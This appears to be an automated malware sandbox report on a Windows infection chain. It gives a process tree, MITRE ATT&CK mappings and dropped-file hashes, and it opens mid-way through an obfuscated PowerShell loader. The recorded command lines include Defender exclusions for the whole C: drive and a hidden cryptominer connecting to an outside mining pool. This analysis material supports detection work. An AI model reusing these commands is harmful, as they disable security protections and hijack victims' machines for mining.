dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaXouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmxqZnJwDQo=')) | Invoke-Expression"
                      8⤵
                      • Blocklisted process makes network request
                      • Command and Scripting Interpreter: PowerShell
                      • Drops startup file
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: AddClipboardFormatListener
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:12660
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\'
                        9⤵
                        • Command and Scripting Interpreter: PowerShell
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of AdjustPrivilegeToken
                        PID:9304
                • C:\Users\Admin\AppData\Local\Temp\10478540101\Rm3cVPI.exe
                  "C:\Users\Admin\AppData\Local\Temp\10478540101\Rm3cVPI.exe"
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:6844
                • C:\Users\Admin\AppData\Local\Temp\10478550101\651ebb55d7.exe
                  "C:\Users\Admin\AppData\Local\Temp\10478550101\651ebb55d7.exe"
                  6⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • System Location Discovery: System Language Discovery
                  PID:3916
                • C:\Users\Admin\AppData\Local\Temp\10478570101\9sWdA2p.exe
                  "C:\Users\Admin\AppData\Local\Temp\10478570101\9sWdA2p.exe"
                  6⤵
                    PID:8868
        • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
          C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
          1⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious behavior: EnumeratesProcesses
          PID:3180
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
          1⤵
            PID:3936
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
            1⤵
              PID:3520
            • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
              C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
              1⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious behavior: EnumeratesProcesses
              PID:10868
            • C:\Users\Admin\AppData\Roaming\Mode\IsValueCreated.exe
              C:\Users\Admin\AppData\Roaming\Mode\IsValueCreated.exe
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of AdjustPrivilegeToken
              PID:6968
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
                2⤵
                  PID:9220
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\{14c6602c-d780-4a64-964d-bfc5eba14541}\59e6e30f-6786-41ef-b642-aeed64c2a953.cmd"0
                1⤵
                  PID:6752
                • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                  C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                  1⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  PID:4824
                • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                  C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                  1⤵
                  • Executes dropped EXE
                  PID:8296
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc YQBkAEQALQBNAFAAcAByAEUAZgBFAFIAZQBOAEMAZQAgAC0AZQB4AEMAbAB1AHMAaQBPAE4AcAByAE8AYwBFAHMAUwAgAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUAIAAtAGYATwBSAGMARQA=
                  1⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:5796
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe --algo rx/0 -o 196.251.118.49:49301 -u 47kJwZakUCHUPtYBwg8Hc5U3VEjqmPmKiYy8GPVQvdagRU2cTt9Fs4J34haCDRQNPdQ6oyhPQbmxP1dUp6aXVoogBCh9Dva.Worker_CPU -p x --cpu-max-threads-hint=50 -k
                  1⤵
                    PID:9072

                  Network

                  MITRE ATT&CK Enterprise v15

                  Reconnaissance

                  Resource Development

                  Initial Access

                  Execution

                  Command and Scripting Interpreter

                  1
                  T1059

                  PowerShell

                  1
                  T1059.001

                  Scheduled Task/Job

                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Persistence

                  Boot or Logon Autostart Execution

                  2
                  T1547

                  Registry Run Keys / Startup Folder

                  2
                  T1547.001

                  Event Triggered Execution

                  1
                  T1546

                  Netsh Helper DLL

                  1
                  T1546.007

                  Pre-OS Boot

                  1
                  T1542

                  Bootkit

                  1
                  T1542.003

                  Scheduled Task/Job

                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Privilege Escalation

                  Boot or Logon Autostart Execution

                  2
                  T1547

                  Registry Run Keys / Startup Folder

                  2
                  T1547.001

                  Event Triggered Execution

                  1
                  T1546

                  Netsh Helper DLL

                  1
                  T1546.007

                  Scheduled Task/Job

                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Defense Evasion

                  Impair Defenses

                  1
                  T1562

                  Safe Mode Boot

                  1
                  T1562.009

                  Modify Registry

                  2
                  T1112

                  Pre-OS Boot

                  1
                  T1542

                  Bootkit

                  1
                  T1542.003

                  Virtualization/Sandbox Evasion

                  2
                  T1497

                  Credential Access

                  Credentials from Password Stores

                  1
                  T1555

                  Credentials from Web Browsers

                  1
                  T1555.003

                  Unsecured Credentials

                  2
                  T1552

                  Credentials In Files

                  2
                  T1552.001

                  Discovery

                  Peripheral Device Discovery

                  1
                  T1120

                  Process Discovery

                  1
                  T1057

                  Query Registry

                  7
                  T1012

                  System Information Discovery

                  5
                  T1082

                  System Location Discovery

                  1
                  T1614

                  System Language Discovery

                  1
                  T1614.001

                  Virtualization/Sandbox Evasion

                  2
                  T1497

                  Lateral Movement

                  Collection

                  Data from Local System

                  2
                  T1005

                  Command and Control

                  Exfiltration

                  Impact

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\KVRT2020_Data\Temp\7C924DD4D20055C80007791130E2D03F\klupd_b296ad91a_arkmon.sys
                    Filesize

                    390KB

                    MD5

                    7c924dd4d20055c80007791130e2d03f

                    SHA1

                    072f004ddcc8ddf12aba64e09d7ee0ce3030973e

                    SHA256

                    406ab7d6e45dbedcfbd2d7376a643620c7462cece3e41115c8fbc07861177ec6

                    SHA512

                    ab26005da50cbf1f45129834cb661b5b97aed5637d4ebc9821c8b744ff61c3f108f423ae5628602d99b3d859e184bfb23900797538dca2891186321d832ea806

                    Download Submit

                  • C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
                    Filesize

                    1.9MB

                    MD5

                    bcbec32483eb43840823c4f6bd653779

                    SHA1

                    3b83255512c5f268d0a1cb2997b1cc9d40f4252d

                    SHA256

                    d8a8e71a2be6d5fafa5d49029a37751c78be7e007152859233b8020a5c258167

                    SHA512

                    4cb807157807c72d599305eada37e85330314e43061f9af3ab9c44839bfc945431e320adf5259b9a9ecb531368cd9ab91d047eb8874f0ce6a8d4022ed69a6408

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\FLLW6ZK9\soft[1]
                    Filesize

                    3.0MB

                    MD5

                    866664b3ce72c7dad2ffc552282ddd7c

                    SHA1

                    43404be154db8ee32dc7c59de01f015235e44de2

                    SHA256

                    630af8886f6e7b8cb7b530ed641a4ddf20eec3bedd2a5aa60285b5a5805a603a

                    SHA512

                    a0b5eb5438cedaa60b6f23ea9daaa3e71cddfca906f933f3a3a44d04cb63427a1fb6ea4153bf4027d767ef5620ab0e6712257f3ea5e508d74662f1596dfcc712

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GHK4UCJU\service[1].htm
                    Filesize

                    1B

                    MD5

                    cfcd208495d565ef66e7dff9f98764da

                    SHA1

                    b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

                    SHA256

                    5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

                    SHA512

                    31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    Filesize

                    16KB

                    MD5

                    2add5c2b4666c536280c8a5d82ced34e

                    SHA1

                    b0662576e5ad1fa3f52f051b9c8e7f4129c2625f

                    SHA256

                    1eededa8b79f168d6bd57deff67a0c90fb777fe1349e604764b1446d80d79782

                    SHA512

                    feaf020ebe95480c49460d4fd9a45cec29ac8ef98d9ce5db25a09d6affdc2df1c766048b8e18a2a26ef58856b3da70455bf1274e1cde34f944e20121d901831c

                    Download Submit

                  • C:\Users\Admin\AppData\Local\TempAM5ZOLB8J75FT2GTUI28ALCVQPUULULK.EXE
                    Filesize

                    1.8MB

                    MD5

                    aba42b49897c599236ba483336191696

                    SHA1

                    54db5b7baef0974251bef65d57070b7895342582

                    SHA256

                    7962be4c49f573f94ab4c4d0dfc039482e2ac69a2c788b955a8f91c9b0b85f2d

                    SHA512

                    dd910032c48f03e7ec6aed1c4752ed1f36c3a9e1fbb539f77d381d8d03ac5de0e6ce1bcabd4841af5eaf2109873112319226964c5ede0d55a867790a0435e5d2

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10477200101\mtCxnCB.exe
                    Filesize

                    2.6MB

                    MD5

                    ba38bbe814e2c9eb996e26fd32a06c90

                    SHA1

                    e38a55849e4343240993fa742cc014b413ceffd8

                    SHA256

                    78843066f5ff4c744ed6f349f1401346b820e996aed5ffa4565430c0f3691659

                    SHA512

                    f20bb793aefcb38fc955116002fec9d220c92964d41277588503198e2f3f941d0bc1323140f33fed8cd786783b89f538499824fe6f274ab2214cac9aaee80664

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10478400101\2f77fa74e4.exe
                    Filesize

                    4.6MB

                    MD5

                    eb07fd4b0236b4c151574d7007c9622a

                    SHA1

                    00a074b1f5af6243d3fa4b2cdc8dd264895d8425

                    SHA256

                    96000869f2a3b841a56114a5468cabd7d01a7081804c292a10c91e98b3d355d6

                    SHA512

                    254af3c9eaa7c0b8a955f62cc00d5b2645042c63621f41ad2a044ecabaa8baad298f546bf8f2d97d573866be03a64a4e4df9b310cac3c2630726605c51b3c0fc

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10478410101\39c94fe8c8.exe
                    Filesize

                    4.3MB

                    MD5

                    b0861a78effb0d7f919e28fd213fcd4b

                    SHA1

                    ab3cdac7507a1ec68cccfa9db8e8f029e3533184

                    SHA256

                    9ce792acc85321a32ec3becaab555329c7c133c81e1e1cf48a2c2eb5f1faed3d

                    SHA512

                    a058f70bfcd591e6c5739e7e1433f0d9eeb7698eccdab9221a72d5d0a5c9d98e4df55c74b938a41a1f943e8acd17ae7567f3b9897ccf55b902eaecc03650f585

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10478430101\VrQSuEQ.exe
                    Filesize

                    584KB

                    MD5

                    6067c3dec335a65c86981cec8c9f50c8

                    SHA1

                    135e42bc3fe852fb5cdebb1393faaf8b1d748ee8

                    SHA256

                    b8d31a5a73175ca42357eae22a6be78dc542fae0a17ca5b4757f2ab420ee1435

                    SHA512

                    8930faaf18465eb0f0d3e5caaad2033ed6a17098be635f47a88f568829356e807bc86b9ae4974329bc1e5f335de237a4871368781078fc51861adbb62fbea9d6

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10478440101\UZPt0hR.exe
                    Filesize

                    1.2MB

                    MD5

                    bf6f64455cb1039947a3100e62f96a52

                    SHA1

                    28cdd5c2e82d4ad078420dcbf4b32b928861fcb6

                    SHA256

                    c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba

                    SHA512

                    c2ceb000b387710cf388e6699a2cb4465380bf5798d9f37c238db0701aaea6ccad1f44e6b9e45398050202ef875a5d7679890df2bb65538a0c8a9655c62c185b

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10478450101\RYZusWg.exe
                    Filesize

                    655KB

                    MD5

                    922e963ce085b717f4d3818a1f340d17

                    SHA1

                    ce250046d0587889ad29f485fbf0e97692156625

                    SHA256

                    bf5d1dd6ea5f4af043069d12699f9352af431ce3cdff633ff227eec441244bca

                    SHA512

                    689b6afe8755a81c428e76dadac66cfee8f81afd6fabf386cc1d1ed836c09fe318844964120f25e445fbd03995708f91609194961c9753362b6563f603fad1ee

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10478460101\n0hEgR9.exe
                    Filesize

                    1.1MB

                    MD5

                    3f986040ea150bfb24408c7f5677289d

                    SHA1

                    cee2ff576ec34b152ae9b7390c327fcf931fd372

                    SHA256

                    fcf94c18fbd9114e3a71142b47952f8e1cf81ef2a8a58f484d175f337d717235

                    SHA512

                    ff4cae88022f2a686d33629d80999fde444ede2755f3868a4096bde2b08360da8387ac046e116bf5e6d6bc7b4a352b33ebefc606502f7ffb41c440d638f2e07f

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10478470101\LJl8AAr.exe
                    Filesize

                    1.1MB

                    MD5

                    bc46237c0ee35460cef7da8ec65440f8

                    SHA1

                    186153ace97f0d80b53b2edc1be8ce595d033f71

                    SHA256

                    b506e7fefab2f19cd0e1ed9ca6fddf1dcc57e149806e5fe67eb223e31340bb92

                    SHA512

                    bafa7de2b2e5f11a344b6089f0981859db8e5ecffb2e80b263cb1f422e42b4fa471fdbabfbdf13ba594c8d1048f630812cfb8fb2266b580bdb1585a4f3105c48

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10478480101\larBxd7.exe
                    Filesize

                    1.2MB

                    MD5

                    4641a0bec2101c82f575862f97be861c

                    SHA1

                    0dd1ee06cdb7ba9ef2aa1dc44c80f1bc2586d33b

                    SHA256

                    fc2ac17498bd7846607110e66426bdad0ab5302f5c7978dd72c20d99166292e1

                    SHA512

                    da87190b368b99feafdb6cfb2fe236c94741573f494ca1cc9127f3a34e9112e1c8d4bf794841b4f00d3f083bc8239226d7d6ffecb45eb02299ff4e03e6e3749a

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10478490101\qhjMWht.exe
                    Filesize

                    5.8MB

                    MD5

                    1dbdcaeaac26f7d34e872439997ee68d

                    SHA1

                    18c855f60fb83306f23634b10841655fb32a943b

                    SHA256

                    3142aecf9794be2f3894d3e1429d28f80918c5b41d516c9160e7cd3984a6f5a3

                    SHA512

                    aa447551d1d44d8b615a3d8a656c4085d024cc72fa9ead0b944c72dd7ff5bdab60fd7829440d9c2b4b2de364ca33d349e5716699e2cefd4835e35bbc7e421535

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10478501121\5uMVCoG.cmd
                    Filesize

                    420B

                    MD5

                    410af9f9883c6c7fa57d5de1d71b4d54

                    SHA1

                    028ad738ff369741fa2f0074e49a0d8704521531

                    SHA256

                    067b25c7c2e27041dc47a0a4564b56a6bbfdc41e5dd630dbf070fdada4dbff71

                    SHA512

                    d25e8a6ec39c67f85835969285a8da4a950444ae75e207a7168ca524a55a8fd7779555e4623723321644571e3ac40df5a8098e6317d8ba60b686cf309b8d3bda

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10478510101\amnew.exe
                    Filesize

                    429KB

                    MD5

                    22892b8303fa56f4b584a04c09d508d8

                    SHA1

                    e1d65daaf338663006014f7d86eea5aebf142134

                    SHA256

                    87618787e1032bbf6a6ca8b3388ea3803be20a49e4afaba1df38a6116085062f

                    SHA512

                    852dcc1470f33bc601a814f61a37c1f5a10071ff3354f101be0ef9aa5ac62b4433a732d02acd4247c2a1819fef9adef7dd6722ee8eb9e8501bac033eb877c744

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10478520101\83a08d4257.exe
                    Filesize

                    2.0MB

                    MD5

                    01b0151651b8bcc89284a793741b28bf

                    SHA1

                    ea8231dcb7039e75067d709f7c0dc3e9c7197500

                    SHA256

                    aa3b026b91f876bcb4d719bf640b8c8f3da8ca034b7f25a489c289d5c8ce84e3

                    SHA512

                    f0e82c817ed456729b0d9346d103c76ce22e3f21f4ff14986feadd9e1a2af70854d1abc4525b9491bfae039e2e75cd463fb38b7c87208de1b5f771af5ac9147b

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10478531121\ccosvAs.cmd
                    Filesize

                    1.4MB

                    MD5

                    2f0f5fb7efce1c965ff89e19a9625d60

                    SHA1

                    622ff9fe44be78dc07f92160d1341abb8d251ca6

                    SHA256

                    426b6e77a4d2e72edf8cd6177578a732ca05510b56cb58d938d6e25820dc2458

                    SHA512

                    b8587d32e98693f08c9c3776ac4168204d76dd6db0d76c6afc815d6727d745f6137ae83fe85a7562517b37c320ddebc27167a9f3f14dacca33954dbe437dc920

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10478540101\Rm3cVPI.exe
                    Filesize

                    354KB

                    MD5

                    27f0df9e1937b002dbd367826c7cfeaf

                    SHA1

                    7d66f804665b531746d1a94314b8f78343e3eb4f

                    SHA256

                    aff35e23562fc36f4b8f6b5bf95eb5dbf11e8af6674e3212aa0c4077ddfe8209

                    SHA512

                    ee4e7e5a8ffe193a8487dd4e9bfb13affa74cacdf250a4e22ed0fc653bbfb615855771dd41d295be905bed311c1690874ce61a5a9d9a5745b4bc550715c7de17

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10478550101\651ebb55d7.exe
                    Filesize

                    1.8MB

                    MD5

                    5aadea44f3d96c6f05d0419d9897ea73

                    SHA1

                    91ee2b28aa0c3e46b0239873e684abe0cdee6b25

                    SHA256

                    2fc05d98135d83c7ff8d9dc34931b2b07918dbb7bec09541ee83e4833595f3ff

                    SHA512

                    b7d88128e2c9aedbdcabcb492a5a55ecda4b16b7db0f57ea7a125eaec6dbbbdf9d963a1157d490975a18a4363f2501a365f84a4e6862969651df1316b4feff17

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10478570101\9sWdA2p.exe
                    Filesize

                    1.1MB

                    MD5

                    5adca22ead4505f76b50a154b584df03

                    SHA1

                    8c7325df64b83926d145f3d36900b415b8c0fa65

                    SHA256

                    aa7105a237dc64c8eb179f18d54641e5d7b9ab7da7bf71709a0d773f20154778

                    SHA512

                    6192d61e777c59aa80c236b2f3e961795b7ff9971327c4e3270803d356ecf38949811df680a372259a9638ccdb90fc1271fb844f1f35656d5b317c96081f396e

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\689912\Jordan.com
                    Filesize

                    2KB

                    MD5

                    e47e5118de5c1527615a85a9bef2b032

                    SHA1

                    34e616deaa5099464a47e2e9751048bd9e134b40

                    SHA256

                    d1a62fa28ee8fd1e106dcf74763b0936e14f35e46e0ecef4265997014f33df38

                    SHA512

                    37a10db1b886540c632b5ba0c10550091cef3a0c4a8634ec0035d07e608860138f7921e2936442d955452c116fed7653703c9e748bb854730ac7caf6cd03e76a

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\689912\Jordan.com
                    Filesize

                    925KB

                    MD5

                    62d09f076e6e0240548c2f837536a46a

                    SHA1

                    26bdbc63af8abae9a8fb6ec0913a307ef6614cf2

                    SHA256

                    1300262a9d6bb6fcbefc0d299cce194435790e70b9c7b4a651e202e90a32fd49

                    SHA512

                    32de0d8bb57f3d3eb01d16950b07176866c7fb2e737d9811f61f7be6606a6a38a5fc5d4d2ae54a190636409b2a7943abca292d6cefaa89df1fc474a1312c695f

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\689912\b
                    Filesize

                    521KB

                    MD5

                    71b3bb5ce306fba582a9d4046fbb0352

                    SHA1

                    c85f63b47e67c4fbedfe24b114d81e637d27dc2f

                    SHA256

                    9f9ddadfb6285fae95ccc2e958e865d56b4d38bd9da82c24e52f9675a430ecb8

                    SHA512

                    9054dd6ed941ae5444afb98c02dea3ac3b2a9504d7219964bedcd7f584257ff305fd2b724cb6f6cab914dfca550f944bbe3d091e6756d8a3302285be470bc7bc

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\Batteries
                    Filesize

                    146KB

                    MD5

                    0bf8c0d3a3ac566f5f7f7ebaaf007648

                    SHA1

                    67b1c6a411c130ac6558887a991d042303a0db8f

                    SHA256

                    15b631091f78cb4763e3ea2f2cdd3c8aac27e79d6ac7f51a0fa0912139869f38

                    SHA512

                    383105f74d6581dc8d4b475e94e947bc9a47284352ef57447d7c7b01209ef8b2f5755126ee10449a7cff0fcf6c58bf08953c5c16806000920881a81a607972d2

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\Bg
                    Filesize

                    134KB

                    MD5

                    2752930460d0d3b746f2b5e2a45d1da6

                    SHA1

                    b04719a6454e7677cff9b27b1a35282fd4c1ec7c

                    SHA256

                    eedf3bdb777678ed83699392cb6b4ab3b8d78de049fc8fc0b42f7b681f4d936d

                    SHA512

                    bf7f8e9d8cf7f4181f9d27ddec59f9227b110ad2f94325f240911178ae30044b6944ab57f33f93cda164193f8e82650da8f7091706c7c4d2f55649fa95fd9481

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\Boards
                    Filesize

                    109KB

                    MD5

                    b0ca263d0796db30dcfc455de7aba28b

                    SHA1

                    67b18ee429e63e2fba32d2cdd0eb908226e3e6c1

                    SHA256

                    adec6bb93bb4e9a7404805dc579bb49bb580e51ec3a851e7749df6edeef2f172

                    SHA512

                    2ef74ca5b92c0fb009b961ea8effc73190d0ad82bcf44d20922da01b2a371107921720db6e084cfdb352d0d540ba949fdc9361f0b001ce60d0cd24eda922b11f

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\Boss
                    Filesize

                    145KB

                    MD5

                    dfce5da157853581ad9c743ef4e1b987

                    SHA1

                    144bd937ed946c98a4862099a0a8185be00368cd

                    SHA256

                    003aaa87b74ea67ce7042547dfb97658c20b6ae7162537b4143d6daed7642a05

                    SHA512

                    f851323c1dcb1aba5c4d0137ada010809b916895239ea2f9f764e0ecc9f7f8f44037ac448ec6b02e4588b2569d5cf6572d16b7ab5a082575078f5e10f7a17b51

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\Bruce.psd
                    Filesize

                    25KB

                    MD5

                    bd138e8aade8c0664b6306e35bec9d18

                    SHA1

                    547ce0d06ce6f3b12fed658b3cf735ca8faacac6

                    SHA256

                    e867bc2e7d475d86fcdcdf4bf71a122c25061160ccbf8e22be9eb420e57300d5

                    SHA512

                    49d3e4a10411cc93e7539ff314986bedccaec305481e8d037479bc9d593b7d9476eeafca3af8b3e77e614ba53cb9209e89fdff337cab730d82228c159ee4a408

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\Brunei
                    Filesize

                    119KB

                    MD5

                    6433807df047876ae4e1afac63591281

                    SHA1

                    bd0690e2837fba59ab274a592255deb5fb378067

                    SHA256

                    7be6c853597d1faf44689207804d1de2a1102382b509fdd2b5f70eec171cf994

                    SHA512

                    e8a240dc0fd750558bd238e85a8b7c4ac32df44e566345a12429887fbeeaf759afa22a47cf1bf7cf30f2078e1ba021ed7ee4f2f2e04953056d08702321deb7a3

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\Cattle.psd
                    Filesize

                    11KB

                    MD5

                    ec90ed340e87d540b3b2bfd46026424c

                    SHA1

                    94d88488e005158000815c918c59e868f221a1c6

                    SHA256

                    80f117d62a42a9c74efb37e180cc85796f56e3eedc76c5b8962837fb964f32e0

                    SHA512

